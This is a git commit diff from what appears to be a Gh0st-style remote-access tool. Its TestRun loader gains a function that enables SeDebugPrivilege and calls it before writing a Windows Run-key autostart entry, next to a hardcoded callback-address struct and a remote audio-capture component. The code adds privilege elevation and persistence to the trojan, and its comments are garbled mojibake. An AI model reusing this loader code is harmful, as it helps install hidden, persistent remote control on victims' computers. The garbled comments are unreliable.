TestRun提升权限
TestRun在写入开机自启动项时先提升权限,以防止因权限不足而写注册表失败。
This commit is contained in:
@@ -193,3 +193,6 @@ ghost项目采用VS2012 xp模式编译,以便支持在XP系统上运行。
|
|||||||
2019.4.19
|
2019.4.19
|
||||||
1、TestRun读取配置文件改为setting.ini,配置项为 [settings] localIp 和 ghost。
|
1、TestRun读取配置文件改为setting.ini,配置项为 [settings] localIp 和 ghost。
|
||||||
2、CAudio的线程waveInCallBack在while循环有一处return,已改为break.
|
2、CAudio的线程waveInCallBack在while循环有一处return,已改为break.
|
||||||
|
|
||||||
|
2019.4.20
|
||||||
|
TestRun在写入开机自启动项时先提升权限,以防止因权限不足而写注册表失败。
|
||||||
|
|||||||
@@ -24,6 +24,27 @@ struct CONNECT_ADDRESS
|
|||||||
int iPort;
|
int iPort;
|
||||||
}g_ConnectAddress={0x1234567,"",0};
|
}g_ConnectAddress={0x1234567,"",0};
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||||
|
void DebugPrivilege()
|
||||||
|
{
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
//<2F><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
int hRet = OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);
|
||||||
|
|
||||||
|
if( hRet)
|
||||||
|
{
|
||||||
|
TOKEN_PRIVILEGES tp;
|
||||||
|
tp.PrivilegeCount = 1;
|
||||||
|
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD><EFBFBD>LUID
|
||||||
|
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
|
||||||
|
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||||
|
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
|
||||||
|
|
||||||
|
CloseHandle(hToken);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||||
@@ -35,6 +56,8 @@ struct CONNECT_ADDRESS
|
|||||||
*/
|
*/
|
||||||
BOOL SetSelfStart(const char *sPath, const char *sNmae)
|
BOOL SetSelfStart(const char *sPath, const char *sNmae)
|
||||||
{
|
{
|
||||||
|
DebugPrivilege();
|
||||||
|
|
||||||
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
|
||||||
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
|
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
|
||||||
|
|
||||||
@@ -103,6 +126,9 @@ int main(int argc, const char *argv[])
|
|||||||
while(bStop && !bStop() && 0 == status)
|
while(bStop && !bStop() && 0 == status)
|
||||||
Sleep(20);
|
Sleep(20);
|
||||||
} while (bExit && !bExit() && 0 == status);
|
} while (bExit && !bExit() && 0 == status);
|
||||||
|
|
||||||
|
while(bStop && !bStop() && 1 == status)
|
||||||
|
Sleep(20);
|
||||||
}
|
}
|
||||||
status = 0;
|
status = 0;
|
||||||
return -1;
|
return -1;
|
||||||
|
|||||||
Reference in New Issue
Block a user